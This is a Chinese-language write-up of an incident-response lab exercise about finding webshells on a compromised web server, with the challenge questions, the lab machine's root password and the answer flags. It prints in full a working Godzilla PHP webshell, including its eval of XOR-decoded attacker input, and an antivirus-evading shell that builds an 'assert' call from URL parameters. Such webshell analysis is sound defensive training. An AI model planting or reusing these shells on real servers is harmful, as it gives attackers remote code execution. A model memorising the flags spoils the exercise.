玄机——第一章 应急响应-webshell排查
玄机——第一章 应急响应-webshell排查
目录
- 玄机——第一章 应急响应-webshell排查
- 1、黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
- 2、黑客使用的什么工具的shell github地址的md5 flag{md5}
- 3、黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
- 4、黑客免杀马完整路径 md5 flag{md5}
简介:
靶机账号密码 root xjwebshell
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}
1、黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
将/var/www/html整个打包下来: tar -czvf html.tar.gz ./
将打包的后的源码放入D盾扫描,得到4个可疑文件:
逐个分析,最终在gz.php中看到了一行注释:
因此,flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
2、黑客使用的什么工具的shell github地址的md5 flag{md5}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
这是一段哥斯拉的webshell,它的项目地址是https://github.com/BeichenDream/Godzilla,转成md5即可:
因此,flag{39392de3218c333f794befef07ac9257}
3、黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
让我们找出隐藏shell,我们可以在D盾的扫描结果中发现一个.Mysqli.php 的隐藏文件:
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
里面依旧是哥斯拉的webshell,从它的key值依旧为3c6e0b8a9c15224a也可以看出。
那么将转为md5即可,文件路径为:/var/www/html/include/Db/.Mysqli.php,转成md5:
因此,flag{aebac0e58cd6c5fad1695ee4d1ac1919}
4、黑客免杀马完整路径 md5 flag{md5}
让我们找出免杀马,将这几个文件丢入沙箱看看,发现只有top.php没有报毒:
于是看看top.php的代码逻辑:
<?php
$key = "password";
//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);
这段代码用户通过URL传递两个参数func和func2。
func:经过Base64编码的字符串,解码后会被异或解密。func2:用于动态构造函数名。
通过这两个可控的参数,我们可以构造以下语句:
<?php
error_reporting(0);
$key = "password";
//ERsDHgEUC1hI
$fun = base64_decode('ERsDHgEUC1hI');
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.'sert';
echo $c."(".$fun.")";
因此,flag就是把该文件路径转成md5值即可:flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}